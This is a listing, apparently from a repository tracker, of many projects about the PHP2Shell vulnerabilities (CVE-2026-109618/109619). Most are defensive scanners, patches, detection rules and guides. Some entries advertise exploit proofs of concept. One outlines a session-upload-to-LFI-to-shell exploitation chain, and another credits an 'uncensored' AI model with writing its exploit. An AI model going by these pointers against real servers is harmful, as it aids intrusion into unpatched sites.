Deterministic Edge Radar & Reverse Proxy in Rust: Sniffing Autonomous AI Agents, mutating botnets, and PHP-2-Shell (CVE-...
|
jarohull-ai | 0 | 0 | 2026-10-22 | View |
|
PouriaMeshgini/php2shell
Full RCE PoC: PHP session.upload_progress -> session file -> LFI -> shell. 2018-class technique (any PHP >= 5.4), NOT CV...
|
PouriaMeshgini | 0 | 0 | 2026-10-22 | View |
|
swap18plus/php2shell_CVE-2026-109618-and-CVE-2026-109619
Lightweight, non-intrusive asset scanner designed to audit public and perimeter network assets for vulnerable PHP versio...
|
swap18plus | 0 | 0 | 2026-10-22 | View |
|
ChangWeiHong/php-cve-local-lab
Localhost-only Docker lab reproducing PHP 2026-10 memory-safety CVEs (CVE-2026-109618/-109619) via official regression t...
|
ChangWeiHong | 0 | 0 | 2026-10-22 | View |
|
webninjjacoder/security-backports-for-php74
Unofficial security backports for PHP 7.4 on Ubuntu 20.04 (focal): fixes CVE-2026-109618 and CVE-2026-109619 for servers...
|
webninjjacoder | 0 | 0 | 2026-10-22 | View |
|
itzen300/php2shell_RCE
CVE-2026-109618 & CVE-2026-109619
|
itzen300 | 0 | 0 | 2026-10-22 | View |
|
Officerwasu/php2shell
phpwshell poc for CVE-2026-109618
|
Officerwasu | 0 | 0 | 2026-10-22 | View |
|
ali-security/php-5.6.40-sp1-build
Sealed PHP 5.6.40+sp1 CLI builds (CVE-2026-109618/109619) for macOS and Windows
|
ali-security | 0 | 0 | 2026-10-22 | View |
|
dhloyola/php2shell-fix-php7
Corrección de PHP2Shell (CVE-2026-109618 / CVE-2026-109619) para PHP 7.2, 7.3 y 7.4 en servidores CentOS / RHEL / Rocky ...
|
dhloyola | 0 | 0 | 2026-10-22 | View |
|
Galeax/php2shell-scanner
Free scanner for PHP2Shell (CVE-2026-109618 and CVE-2026-109619)
|
Galeax | 0 | 0 | 2026-10-22 | View |
|
bitforce23-max/PHP2Shell
Kit para diagnosticar y corregir **PHP2Shell** (CVE-2026-109618 y CVE-2026-109619, RCE sin autenticación en PHP 5.4 a 8....
|
bitforce23-max | 0 | 0 | 2026-10-22 | View |
|
meta-l/WordPress-PHPVuln-Triage
A script to help triage wordpress installs for the recent PHP Critical CVE-2026-109618 and CVE-2026-109619 vulnerabiliti...
|
meta-l | 0 | 0 | 2026-10-22 | View |
|
nocerainfosec/php2shell-checker
Chrome extension for Blue Teams: passively identify a site's PHP version and PHP2Shell (CVE-2026-109618/109619) exposure...
|
nocerainfosec | 0 | 0 | 2026-10-22 | View |
|
dhloyola/php2shell-fix-74
Corrección de PHP2Shell (CVE-2026-109618 / CVE-2026-109619) para PHP 7.4 en CentOS/RHEL/CloudLinux con cPanel, Plesk o D...
|
dhloyola | 0 | 0 | 2026-10-22 | View |
|
rahnas/php2shell-autofix
One command to find and fix PHP2Shell (CVE-2026-109618 / CVE-2026-109619) on any Linux server or Mac. Patches every PHP ...
|
rahnas | 0 | 0 | 2026-10-22 | View |
|
manuxio/untested-php2shell-fixed-php-fpm-mod_php
UNTESTED unofficial PHP images (EOL versions) with php2shell (CVE-2026-109618/109619) mitigation backports - one tag per...
|
manuxio | 0 | 0 | 2026-10-22 | View |
|
manuxio/untested-php2shell-fixed-php-7-2-apache
UNTESTED unofficial PHP 7.2.34 Apache/mod_php image with a backport of the php2shell (CVE-2026-109618/109619) mitigation
|
manuxio | 0 | 0 | 2026-10-22 | View |
|
manuxio/untested-php2shell-fixed-php-7-2-fpm
UNTESTED unofficial PHP 7.2.34 FPM image with a backport of the php2shell (CVE-2026-109618/109619) mitigation
|
manuxio | 0 | 0 | 2026-10-22 | View |
|
mehmetkuruyuz/php-cve-audit
Sistemdeki tüm PHP kurulumlarını CVE-2026-109618/109619 açısından denetleyen Bash betiği
|
mehmetkuruyuz | 0 | 0 | 2026-10-22 | View |
|
manuxio/untested-php2shell-fixed-php-5-4-apache
UNTESTED unofficial PHP 5.4.45 Apache/mod_php image with a backport of the php2shell (CVE-2026-109618/109619) mitigation
|
manuxio | 0 | 0 | 2026-10-22 | View |
|
SoroushAlamdari/php2shell-detect
Read-only Windows & macOS scripts to find PHP and flag versions vulnerable to PHP2Shell (CVE-2026-109618 / CVE-2026-1096...
|
SoroushAlamdari | 0 | 0 | 2026-10-22 | View |
|
somisec/php2shell-scanner
php2shell-scanner Passive version scanner for CVE-2026-109618 / CVE-2026-109619
|
somisec | 0 | 0 | 2026-10-22 | View |
|
definitiveref/php2shell-CVE-2026-109618-109619-Research
One-shot RCE proof of concept for the PHP session.upload_progress use-after-free vulnerabilities (CVE-2026-109618 / CVE-...
|
definitiveref | 0 | 0 | 2026-10-22 | View |
|
bianqiang-ui/phpscan-go
Bulk SSH scanner that inventories every PHP installation across Linux servers and flags builds affected by php2shell (CV...
|
bianqiang-ui | 0 | 0 | 2026-10-22 | View |
|
newtro/php2shell-site-check
Browser extension that warns when a site's server reports a PHP version vulnerable to PHP2Shell (CVE-2026-109618/109619)...
|
newtro | 0 | 0 | 2026-10-22 | View |
|
JackReaper1020/php_oom
CVE-2026-109618 out-of-memory audit
|
JackReaper1020 | 0 | 0 | 2026-10-22 | View |
|
errorfo/php2shell
PHP2Shell Sentinel is an open-source defensive security tool for PHP administrators to assess runtime patch status, revi...
|
errorfo | 0 | 0 | 2026-10-22 | View |
|
0xgitpushpray/php2shell
Check websites and servers for PHP2Shell (CVE-2026-109618, CVE-2026-109619), verify the fix is running, and hunt for com...
|
0xgitpushpray | 0 | 0 | 2026-10-22 | View |
|
flexEST/php2shell_checker
Read-only checker for PHP vulnerabilities CVE-2026-109618 and CVE-2026-109619. Assess server versions and configuration ...
|
flexEST | 0 | 0 | 2026-10-22 | View |
|
waksboy/php-cve-2026-109618-109619-tester
Detecteur CVE-2026-109618 / CVE-2026-109619 (php2shell) pour image Docker ou binaire PHP
|
waksboy | 0 | 0 | 2026-10-22 | View |
|
wromansky/php2shell-warn
Userscript that warns when a site runs a PHP version affected by php2shell (CVE-2026-109618/109619)
|
wromansky | 0 | 0 | 2026-10-22 | View |
|
laurentlevi/dt-managed-php-versions
List PHP processes and versions on Dynatrace Managed, flagging CVE-2026-109618/109619
|
laurentlevi | 0 | 0 | 2026-10-22 | View |
|
xjodoin/legacy-runtime-security-backport
Unofficial CVE-2026-109618 / CVE-2026-109619 source backport for Ubuntu 14.04 PHP 5.5.9, with build verification and reg...
|
xjodoin | 0 | 0 | 2026-10-22 | View |
|
DilanWW/php-cve-check
Passive scanner for PHP CVE-2026-109618 / CVE-2026-109619: subdomain discovery, PHP fingerprinting, local web UI
|
DilanWW | 0 | 0 | 2026-10-22 | View |
|
BrenesRM/The-Kodiak-Shield-CD-Cyber-Range-Masterclass-en-PHP2Shell
Entorno de Pruebas Didáctico para Clases de Hacking Ético y Ciberdefensa Vulnerabilidades: CVE-2026-109618 (OOM Use-Afte...
|
BrenesRM | 0 | 0 | 2026-10-22 | View |
|
BartoszGarba/php2shell-sigma-rules
Sigma rules for PHP2Shell (CVE-2026-109618, CVE-2026-109619) post-exploitation
|
BartoszGarba | 0 | 0 | 2026-10-22 | View |
|
kaaangumus/php2shell-nuclei
Nuclei template for php2shell (CVE-2026-109618 / CVE-2026-109619) - version-based detection, no exploitation
|
kaaangumus | 0 | 0 | 2026-10-22 | View |
|
Certbn/PHP2Shell-CVE-2026-109618-CVE-2026-109619-
|
Certbn | 0 | 0 | 2026-10-22 | View |
|
louzaonet/php2shell_hunt_ispconfig
Quick and dirty hunting script for PHP2Shell (CVE-2026-109618 and CVE-2026-109619) on ISPConfig servers.
|
louzaonet | 0 | 0 | 2026-10-22 | View |
|
Shadow-Pixxxel/php-advanced-hunting
Microsoft Defender Advanced Hunting queries that track PHP versions in a tenant and flag CVE-2026-109618 and CVE-2026-10...
|
Shadow-Pixxxel | 0 | 0 | 2026-10-22 | View |
|
hyderoo/php2shell-check
Read-only checker for PHP2Shell (CVE-2026-109618/109619) exposure: local, URL, SSH
|
hyderoo | 0 | 0 | 2026-10-22 | View |
|
seguridadentrerios/CVE-2026-109618-CVE-2026-109619
php2shell
|
seguridadentrerios | 0 | 0 | 2026-10-22 | View |
|
tuwiliyt/cve-2026-109618
CVE-2026-109618 php2shell local lab PoC
|
tuwiliyt | 0 | 0 | 2026-10-22 | View |
|
Trupal25/php2shell-audit
Reusable, non-destructive audit skill for CVE-2026-109618 / CVE-2026-109619 (PHP2Shell): SAPI + patch verification, edge...
|
Trupal25 | 0 | 0 | 2026-10-22 | View |
|
defendable/PHP2Shell
Information about CVE-2026-109618 and CVE-2026-109619
|
defendable | 0 | 0 | 2026-10-22 | View |
|
RobertoCifre/php2shell-check
Comprueba si tu servidor está afectado por CVE-2026-109618/109619 (PHP)
|
RobertoCifre | 0 | 0 | 2026-10-22 | View |
|
coldcain-sec/php2shell-checker
php2shell-checker Checks any website or internal service for PHP vulnerabilities relating to CVE-2026-109618 and CVE-202...
|
coldcain-sec | 0 | 0 | 2026-10-22 | View |
|
4itec/php-7.4.3.3-patch
Compilación no oficial de PHP 7.4.33 para Windows x64 Thread Safe mediante GitHub Actions, con parches oficiales para CV...
|
4itec | 0 | 0 | 2026-10-22 | View |
|
jaba0x/php2shell-guard
Check, apply and test AWS WAF mitigations for PHP2Shell (CVE-2026-109618 / CVE-2026-109619)
|
jaba0x | 0 | 0 | 2026-10-22 | View |
|
imhyunho99/php2shell-shield
Stopgap for PHP2Shell (CVE-2026-109618/109619): Go reverse proxy, patch checker, Claude Code skill — plus php-bridge, a ...
|
imhyunho99 | 0 | 0 | 2026-10-22 | View |
|
manshoor/php2shell-scanner
Detection + remediation scanner for php2shell (CVE-2026-109618/109619) and react2shell (CVE-2025-55182).
|
manshoor | 0 | 0 | 2026-10-22 | View |
|
netbadgersltd/php72u-build
Source + build recipe for the php2shell (CVE-2026-109618/109619) backport to CentOS 7 / IUS PHP 7.2
|
netbadgersltd | 0 | 0 | 2026-10-22 | View |
|
moorwald/mautic4-legacy
Unofficial emergency Docker images for end-of-life Mautic 4, addressing PHP CVE-2026-109618 and CVE-2026-109619. No rene...
|
moorwald | 0 | 0 | 2026-10-22 | View |
|
rajasekharponakala/php2shell-brief
Status brief on the PHP2Shell RCE vulnerabilities (CVE-2026-109618 / CVE-2026-109619)
|
rajasekharponakala | 0 | 0 | 2026-10-22 | View |
|
aplite-de/php2shell-detection-rules
Detection queries for PHP2Shell (CVE-2026-109618 and CVE-2026-109619) in Microsoft Sentinel, Elastic and Splunk
|
aplite-de | 0 | 0 | 2026-10-22 | View |
|
jeffreyesdavid/php-guardian
Free scanner for php2shell (CVE-2026-109618/109619): finds PHP installs and flags vulnerable versions, per CISA's alert.
|
jeffreyesdavid | 0 | 0 | 2026-10-22 | View |
|
r0x43g/php2shell-vendor-watch
A single-page, live dashboard of vendors and software affected by the PHP2Shell remote code execution vulnerabilities CV...
|
r0x43g | 0 | 0 | 2026-10-22 | View |
|
waqas578/Plymouth-Retail-Ltd.---PHP2Shell-Vulnerability-Incident-Remediation-Report
This report delivers an exhaustive technical breakdown and operational risk assessment regarding "PHP2Shell", a devastat...
|
waqas578 | 0 | 0 | 2026-10-22 | View |
|
yehezkiel1086/php2shell-check
a defensive security CLI that detects, assesses, and recommends remediation for CVE-2026-109618 and CVE-2026-109619
|
yehezkiel1086 | 0 | 0 | 2026-10-22 | View |
|
Marciano-Morinigo/php2shell-CVE-2026-109618-CVE-2026-109619-PoC-Lab
|
Marciano-Morinigo | 0 | 0 | 2026-10-22 | View |
|
baron-stybd/CVE-2026-109618-CVE-2026-109619
|
baron-stybd | 0 | 0 | 2026-10-22 | View |
|
rpersak/php2shell_check
Read-only local checker for PHP2Shell (CVE-2026-109618 / CVE-2026-109619)
|
rpersak | 0 | 0 | 2026-10-22 | View |
|
mrmtwoj/php-cve-2026-109618-fixer
🛡️ ACYBER Security Toolkit — Automated detection & patching of CVE-2026-109618 (php2shell RCE) across Ubuntu, Debian, RH...
|
mrmtwoj | 0 | 0 | 2026-10-22 | View |
|
emphereio/php-eol-backports
Signed, tested backports of EOL PHP (7.4/8.0/8.1) for CVE-2026-109618 & CVE-2026-109619 (php2shell)
|
emphereio | 0 | 0 | 2026-10-22 | View |
|
vitalelele/CVE-2026-109618-PoC
CVE-2026-109618 PoC - PHP session upload_progress heap UAF to pre-auth RCE. Docker one-liner demo included.
|
vitalelele | 0 | 0 | 2026-10-22 | View |
|
tobiastillstam/Scan-PHP2Shell
Read-only PowerShell scanner: finds PHP installs on Windows hosts and reports PHP2Shell (CVE-2026-109618, CVE-2026-10961...
|
tobiastillstam | 0 | 0 | 2026-10-22 | View |
|
ChlodAlejandro/php8.5-armv6l-binaries
PHP 8.5.12 binaries built for a Raspberry Pi 1B (armv6l+VFPv2). Stopgap solution for CVE-2026-109618 and CVE-2026-109619...
|
ChlodAlejandro | 0 | 0 | 2026-10-22 | View |
|
anthonyhann/php-crisis-toolkit
Defensive self-check & response toolkit for PHP2Shell (CVE-2026-109618 / CVE-2026-109619). Version x SAPI risk check, em...
|
anthonyhann | 0 | 0 | 2026-10-22 | View |
|
Arwy07/php2shell-remediation-guide
Guide opérationnel, outils d’audit et procédure de remédiation pour CVE-2026-109618 et CVE-2026-109619.
|
Arwy07 | 0 | 0 | 2026-10-22 | View |
|
krisztianhari-wq/php2shell-scan
Public, version/fingerprint-based (non-exploitation) PHP php2shell CVE scanner (CVE-2026-109618/109619). sadrobot.
|
krisztianhari-wq | 0 | 0 | 2026-10-22 | View |
|
Py0x11/php2shell-detection
CVE-2026-109618 and CVE-2026-109619 Detection
|
Py0x11 | 0 | 0 | 2026-10-22 | View |
|
goodBoysss/php70-security-backport
php70-security-backport/php-7.0.33-CVE-2026-109618-109619.patch
|
goodBoysss | 0 | 0 | 2026-10-22 | View |
|
kamibutt143/php-7.3-php2shell-backport
Unofficial backport of the official php2shell fix (CVE-2026-109618 / CVE-2026-109619) to PHP 7.3.33. Original fix by Arn...
|
kamibutt143 | 0 | 0 | 2026-10-22 | View |
|
5WARM-AI/php2shell-check
Free self-check for PHP2Shell (CVE-2026-109618, CVE-2026-109619): find every PHP on your server, see if it's exposed, an...
|
5WARM-AI | 0 | 0 | 2026-10-22 | View |
|
SmR492/php-7.3-CVE-2026-109618-109619
Unofficial security backport: source patch for end-of-life PHP 7.3 addressing CVE-2026-109618 / CVE-2026-109619 (php2she...
|
SmR492 | 0 | 0 | 2026-10-22 | View |
|
SmR492/php-7.2-CVE-2026-109618-109619
Unofficial security backport: source patch for end-of-life PHP 7.2 addressing CVE-2026-109618 / CVE-2026-109619 (php2she...
|
SmR492 | 0 | 0 | 2026-10-22 | View |
|
cred0core/Sigma-rule-CVE-2026-109618
Sigma rule detection for CVE-2026-109618 vuln
|
cred0core | 0 | 0 | 2026-10-22 | View |
|
KadkinRoman/php84-migration-report
Отчёт: переход хостинга с PHP 5.6/7.4 на PHP 8.4 после CVE-2026-109618/109619
|
KadkinRoman | 0 | 0 | 2026-10-22 | View |
|
Bluefire-Redteam-Cybersecurity/bluefire-php2shell-guard
Bluefire Redteam detection, interim hardening, and edge filter for PHP2Shell (CVE-2026-109618, CVE-2026-109619).
|
Bluefire-Redteam-Cybersecurity | 0 | 0 | 2026-10-22 | View |
|
alibanhakeia2018/malac-php-image
Image PHP 8.3.36 (corrigee CVE-2026-109618/109619) + Apache pour PrestaShop 9 - malac.shop
|
alibanhakeia2018 | 0 | 0 | 2026-10-22 | View |
|
hugo8xx/php2shell-waf
Virtual patch / WAF rules for PHP2Shell (CVE-2026-109618, CVE-2026-109619)
|
hugo8xx | 0 | 0 | 2026-10-22 | View |
|
CVEChecker26/dyd
Static, no-tracking check of a declared PHP setup against two critical advisories (CVE-2026-109618, CVE-2026-109619).
|
CVEChecker26 | 0 | 0 | 2026-10-22 | View |
|
violensoul/php2shell-sigma
Sigma detection rules for php2shell OOM multipart probing (CVE-2026-109618 / CVE-2026-109619)
|
violensoul | 0 | 0 | 2026-10-22 | View |
|
ronoski/php2shell-detect
Black-box detector, proof harness and ELF offsets extractor for php2shell (CVE-2026-109618 / CVE-2026-109619), plus a re...
|
ronoski | 0 | 0 | 2026-10-22 | View |
|
securin-public/php2shell-checker
Am I vulnerable to PHP2Shell (CVE-2026-109618 / CVE-2026-109619)? Free passive PHP version check by Securin.
|
securin-public | 0 | 0 | 2026-10-22 | View |
|
h3r2ym/Check-PHP-Docker-CVE-2026-109618---109619
|
h3r2ym | 0 | 0 | 2026-10-22 | View |
|
mekhalleh/php2shell-advisory
CVE-2026-109618 — PHP pre-auth UAF RCE: root-cause analysis (EN/FR), Nuclei detection, transcript. Defensive/educational...
|
mekhalleh | 0 | 0 | 2026-10-22 | View |
|
rmnelson/php-5.3.29-cve-2026-109618-109619
Unofficial PHP 5.3.29 backport of the php2shell fix (CVE-2026-109618, CVE-2026-109619) for Apache mod_php
|
rmnelson | 0 | 0 | 2026-10-22 | View |
|
Julien-TrentAI/php2shell-trent-fixture
Test fixture: pins PHP versions vulnerable to php2shell (CVE-2026-109618/109619) on purpose. Do not deploy.
|
Julien-TrentAI | 0 | 0 | 2026-10-22 | View |
|
fardinbarashi/PHP-CVE-2026-109618-and-CVE-2026-109619
Check after php
|
fardinbarashi | 0 | 0 | 2026-10-22 | View |
|
JumpsecLabs/phpocalypse
Read-only triage script for the PHP2Shell vulnerabilities (CVE-2026-109618, CVE-2026-109619).
|
JumpsecLabs | 0 | 0 | 2026-10-22 | View |
|
ruban-s/php-8.1-windows-security
Patched PHP 8.1 Windows binaries (x64/x86, NTS/TS) fixing critical RCE CVE-2026-109618 and CVE-2026-109619. PHP 8.1 is E...
|
ruban-s | 0 | 0 | 2026-10-22 | View |
|
larsactionhero/php-patch-check
Wordpress Plugin that checks if your PHP Version is patched against CVE-2026-109618 / CVE-2026-109619
|
larsactionhero | 0 | 0 | 2026-10-22 | View |
|
bagsiz/focal-php74-security
Patched PHP 7.4 packages for Ubuntu 20.04 (focal) fixing CVE-2026-109618 / CVE-2026-109619: Ondřej Surý's 7.4.33-31 rebu...
|
bagsiz | 0 | 0 | 2026-10-22 | View |
|
yanzyuyu/php2shell-prtct
Production-grade defensive CLI to audit, patch, and hunt PHP2Shell (CVE-2026-109618/19) memory-safety exploits without d...
|
yanzyuyu | 0 | 0 | 2026-10-22 | View |
|
ultravistor/int
Environment checker (for CVE-2026-109618 and CVE-2026-109619)
|
ultravistor | 0 | 0 | 2026-10-22 | View |
|
rootone-it/nginx-php2shell-monitor
Detect PHP2Shell (CVE-2026-109618, CVE-2026-109619) PHP RCE exploitation attempts by inspecting POST request bodies with...
|
rootone-it | 0 | 0 | 2026-10-22 | View |
|
ITlusions/ITL.PHP2Shell.Hardening
Compensating controls / virtual-patching Helm chart for PHP CVE-2026-109618 and CVE-2026-109619
|
ITlusions | 0 | 0 | 2026-10-22 | View |
|
llrrzz-111/php2shell-guard
PHP2Shell (CVE-2026-109618/109619) one-click detect & fix tool
|
llrrzz-111 | 0 | 0 | 2026-10-22 | View |
|
suleymanpetek/shadowphp
php2shell, cve-2026-109618, shadow-it, attack-surface, security-tools, python.
|
suleymanpetek | 0 | 0 | 2026-10-22 | View |
|
nwfella/php2shell-advisory
PHP2Shell (CVE-2026-109618 / -109619): plain-English brief + patch runbook for PHP 8.2-8.5, EOL branches, containers and...
|
nwfella | 0 | 0 | 2026-10-22 | View |
|
ThePainter1939/php2shell-guard
Fast, zero-dependency Bash toolkit to audit, scan logs, mitigate, and patch Linux servers against PHP2Shell (CVE-2026-10...
|
ThePainter1939 | 0 | 0 | 2026-10-22 | View |
|
mbadis-dev/php-cve-2026-109618-toolkit
|
mbadis-dev | 0 | 0 | 2026-10-22 | View |
|
chamrouensqa/php2shell-cve-poc
Local Docker lab + Chain A PoC for CVE-2026-109618 / CVE-2026-109619 (PHP 8.2.34)
|
chamrouensqa | 0 | 0 | 2026-10-22 | View |
|
juliosuas/php2shell-check
Defensive checker for PHP2Shell (CVE-2026-109618, CVE-2026-109619). Detects PHP version/SAPI on hosts you own and report...
|
juliosuas | 0 | 0 | 2026-10-22 | View |
|
anldori/CVE-2026-109618
|
anldori | 0 | 0 | 2026-10-22 | View |
|
jzgyhlove/php2shell-windows
一个快速、批量检测PHP版本是否存在CVE-2026-109618/109619
|
jzgyhlove | 0 | 0 | 2026-10-22 | View |
|
manuxio/untested-php2shell-fixed-php-5-4-fpm
UNTESTED unofficial PHP 5.4.45 FPM image with a backport of the php2shell (CVE-2026-109618/109619) mitigation
|
manuxio | 0 | 0 | 2026-10-22 | View |
|
ryantseng24/php2shell-f5-waf-tools
php2shell (CVE-2026-109618/109619) F5 BIG-IP Advanced WAF check and verification tools
|
ryantseng24 | 0 | 0 | 2026-10-22 | View |
|
EfraimDiveroli-Pwn3d/PHP2shell_nuclei_templates
Пассивные Nuclei-шаблоны для обнаружения версий PHP и PHP-приложений в рамках проверки CVE-2026-109618 и CVE-2026-109619...
|
EfraimDiveroli-Pwn3d | 0 | 0 | 2026-10-22 | View |
|
dos-security/php-critical-rce-advisory
Defensive PHP update guidance and local-only verification for CVE-2026-109618 and CVE-2026-109619.
|
dos-security | 0 | 0 | 2026-10-22 | View |
|
MKA930/php2shell-remediation-guide
PHP2Shell remediation guide (CVE-2026-109618 / CVE-2026-109619) for native Linux, Docker and BT Panel
|
MKA930 | 0 | 0 | 2026-10-22 | View |
|
KanyCrew/php2shell-poc
PoC per php2shell CVE-2026-109618/109619 (Chain D OOM + variante senza upload) — coding by GLM uncensored
|
KanyCrew | 0 | 0 | 2026-10-22 | View |
|
hkoeck/php2shell-status
PHP2Shell (CVE-2026-109618/109619) vendor and Linux distro status - AI-generated, verify before acting
|
hkoeck | 0 | 0 | 2026-10-22 | View |
|
mohamedation/php2shell-scanner
Non-destructive detector for CVE-2026-109618** and **CVE-2026-109619
|
mohamedation | 0 | 0 | 2026-10-22 | View |
|
yu1row/php-cve-2026-check
PHP CVE-2026-109618 / CVE-2026-109619 簡易確認スクリプト
|
yu1row | 0 | 0 | 2026-10-22 | View |
|
Anwar0904/php2shell-guard
Open-source PHP security assessment tool for CVE-2026-109618 and CVE-2026-109619. Built with React, TypeScript and Cloud...
|
Anwar0904 | 0 | 0 | 2026-10-22 | View |
|
sprabhav7/php2shell-detection
Non-invasive detector for the PHP2Shell RCE pair: CVE-2026-109618 and CVE-2026-109619.
|
sprabhav7 | 0 | 0 | 2026-10-22 | View |
|
mbelsis/php2shell_scan
Read-only PHP2Shell inventory scanner that checks servers over SSH and optional HTTP/HTTPS, identifies potentially vulne...
|
mbelsis | 0 | 0 | 2026-10-22 | View |
|
g41277460-cpu/CVE-2026-109618-CVE-2026-109619-php2shell-
cve explaination
|
g41277460-cpu | 0 | 0 | 2026-10-22 | View |
|
TheMursalin/CVE-2026-109618
php2shell
|
TheMursalin | 0 | 0 | 2026-10-22 | View |
|
sawula7/php72-php2shell-backport
Unofficial backport of php commit (Avoid state corruption via bailout, branch PHP-7.4-CVE-2026-109618-109619) to the fin...
|
sawula7 | 0 | 0 | 2026-10-22 | View |
|
benjagdg/php2shell-ubuntu-fix
Diagnóstico, parcheo y mitigación de PHP2Shell (CVE-2026-109618 / CVE-2026-109619) en Ubuntu
|
benjagdg | 0 | 0 | 2026-10-22 | View |
|
UrsusMagus/php74-windows-security-build
Windows x64 NTS PHP 7.4 security build for CVE-2026-109618 and CVE-2026-109619
|
UrsusMagus | 0 | 0 | 2026-10-22 | View |
|
ansonhsu-ai/php2shell-cve-2026-109618-ste
|
ansonhsu-ai | 0 | 0 | 2026-10-22 | View |
|
tiendungdev/php2shell-mitigation
Temporary php2shell (CVE-2026-109618/109619) mitigation for Ubuntu and AlmaLinux 8 / FastPanel
|
tiendungdev | 0 | 0 | 2026-10-22 | View |
|
htobty/php2shell-check
Non-destructive checker, porting analysis and self-built patches for CVE-2026-109618 / CVE-2026-109619
|
htobty | 0 | 0 | 2026-10-22 | View |
|
colinyy/php2shell-exposure-check
Passive, non-exploiting checker that inventories PHP version disclosure across a list of websites and assesses patch sta...
|
colinyy | 0 | 0 | 2026-10-22 | View |
|
4B3R4M4-607D/php2shell
CVE-2026-109618 / CVE-2026-109619
|
4B3R4M4-607D | 0 | 0 | 2026-10-22 | View |
|
AlexVargasV/php2shell-response-kit
Guide, self-assessment form and read-only Linux check script for php2shell (CVE-2026-109618 / CVE-2026-109619): find out...
|
AlexVargasV | 0 | 0 | 2026-10-22 | View |
|
vietvq/php-backport-7.4-apache
php-backport:7.4-apache PHP-7.4-CVE-2026-109618-109619
|
vietvq | 0 | 0 | 2026-10-22 | View |
|
johanych/php2shell-checker
Chequeo no invasivo de php2shell (CVE-2026-109618 / CVE-2026-109619): fingerprint de PHP, inferencia de SAPI y veredicto...
|
johanych | 0 | 0 | 2026-10-22 | View |
|
mengchencloud/aws-php2shell-mitigation
PHP2Shell (CVE-2026-109618/109619) remediation guide on AWS + AWS WAF CloudFormation template (China regions validated)
|
mengchencloud | 0 | 0 | 2026-10-22 | View |
|
inetzombie/php2shell-check
Safe, passive, read-only detector for the PHP2Shell CVEs (CVE-2026-109618 / CVE-2026-109619). Reads only self-disclosed ...
|
inetzombie | 0 | 0 | 2026-10-22 | View |
|
scriptsnet/php2shell-security-toolkit
PHP2Shell (CVE-2026-109618/CVE-2026-109619) multi-server scanner, guarded Linux/Windows remediation scripts, incident re...
|
scriptsnet | 0 | 0 | 2026-10-22 | View |
|
ucrm-plugins/php2shell
Patch the PHP inside Ubiquiti UISP against php2shell (CVE-2026-109618/109619) — rebuilds the binary, not a request filte...
|
ucrm-plugins | 0 | 0 | 2026-10-22 | View |
|
alanh0vx/php2shell-check
Quick vulnerability checker for CVE-2026-109618 & CVE-2026-109619 (PHP2Shell) — detection only, no exploit
|
alanh0vx | 0 | 0 | 2026-10-22 | View |
|
spcaeo/php2shell-check
Is your site exposed to php2shell (CVE-2026-109618, CVE-2026-109619), the October 2026 PHP remote code execution flaws? ...
|
spcaeo | 0 | 0 | 2026-10-22 | View |
|
danrod96-new/php-patch-check
Two small, read-only tools to confirm whether your PHP installations are patched against the critical RCE advisory publi...
|
danrod96-new | 0 | 0 | 2026-10-22 | View |
|
HORKimhab/CVE-2026-109618-619
CVE-2026-109618, CVE-2026-109619
|
HORKimhab | 0 | 0 | 2026-10-22 | View |
|
0k1dok1/CVE-2026-109618-CHECK
|
0k1dok1 | 0 | 0 | 2026-10-22 | View |
|
the-metafactory/php-patch-verify
Portable Agent Skill to verify PHP patch status for the Oct 2026 RCE pair (CVE-2026-109618/619) and audit the CERT-EU mi...
|
the-metafactory | 0 | 0 | 2026-10-22 | View |
|
LightSpeedC/20261022-research-php-cve
PHP の RCE 脆弱性 CVE-2026-109618 / CVE-2026-109619 の調査
|
LightSpeedC | 0 | 0 | 2026-10-22 | View |
|
yanzyuyu/phptshell
Production-grade defensive CLI to audit, patch, and hunt PHP2Shell (CVE-2026-109618/19) memory-safety exploits without d...
|
yanzyuyu | 0 | 0 | 2026-10-22 | View |
|
solymx/php-cve-2026-research
Research notes on CVE-2026-109618 / CVE-2026-109619 (PHP) - defensive analysis
|
solymx | 0 | 0 | 2026-10-22 | View |
|
bee7813993/xampp-security-update
XAMPP for Windows の PHP を PHP2Shell（CVE-2026-109618 / CVE-2026-109619）修正版の PHP 8.2.35 に入れ替える非公式スクリプト
|
bee7813993 | 0 | 0 | 2026-10-22 | View |
|
atarus-security/atarus-phpcheck
Detection and inventory tool for PHP core CVE-2026-109618 and CVE-2026-109619: finds PHP installs, checks versions and m...
|
atarus-security | 0 | 0 | 2026-10-21 | View |
|
nukIeer/php2shell-checker
php2shell (CVE-2026-109618 / CVE-2026-109619) PHP version checker
|
nukIeer | 0 | 0 | 2026-10-21 | View |
|
Flookerton/Am-I-Pwned
PHP2Shell (CVE-2026-109618/109619) exposure check: find which of your accounts sit on sites running PHP, rank the risk, ...
|
Flookerton | 0 | 0 | 2026-10-21 | View |
|
Quaerendir/php2shell-audit
Read-only audit script for PHP2Shell (CVE-2026-109618, CVE-2026-109619): PHP core use-after-free, unauthenticated RCE
|
Quaerendir | 0 | 0 | 2026-10-21 | View |
|
Stonlifer/php2shell-old2
Reproducible lab for the PHP session upload-progress UAF (CVE-2026-109618/109619) with WordPress and Laravel targets, pl...
|
Stonlifer | 0 | 0 | 2026-10-21 | View |
|
derazo1/php2shell-scanner
Non-destructive PHP scanner for CVE-2026-109618 and CVE-2026-109619
|
derazo1 | 0 | 0 | 2026-10-21 | View |
|
skwirrel/php-cve-2026-109618-check
Check whether your own PHP 7.x-8.1 server still has the CVE-2026-109618 out-of-memory handling (install-on-server probe,...
|
skwirrel | 0 | 0 | 2026-10-21 | View |
|
hoehyeonlab/php-cve-2026-109618-check
php2shell (CVE-2026-109618/109619) checker that also finds vulnerable PHP inside Docker containers. Read-only, CI-friend...
|
hoehyeonlab | 0 | 0 | 2026-10-21 | View |
|
JVCSampaio/php2shell-hardening
Relatório de hardening e laboratório Docker defensivo para a PHP2Shell (CVE-2026-109618 / CVE-2026-109619). Sem PoC ofen...
|
JVCSampaio | 0 | 0 | 2026-10-21 | View |
|
codesource/cve-check
Shell scripts that check Linux hosts for known vulnerabilities (PHP CVE-2026-109618/109619, Copy Fail CVE-2026-31431), r...
|
codesource | 0 | 0 | 2026-10-21 | View |
|
FranklinF25/php2shell
php2shell (CVE-2026-109618 / CVE-2026-109619) — PHP core unauth RCE research: safe differential detector, deterministic ...
|
FranklinF25 | 0 | 0 | 2026-10-21 | View |
|
fparch/php-cve-lab
Detection + mitigation lab for the October 2026 PHP critical release (CVE-2026-109618 / CVE-2026-109619). No exploit cod...
|
fparch | 0 | 0 | 2026-10-21 | View |
|
rattones/php2shell-check
Material e script de diagnóstico (somente leitura) para as CVE-2026-109618 e CVE-2026-109619 (php2shell)
|
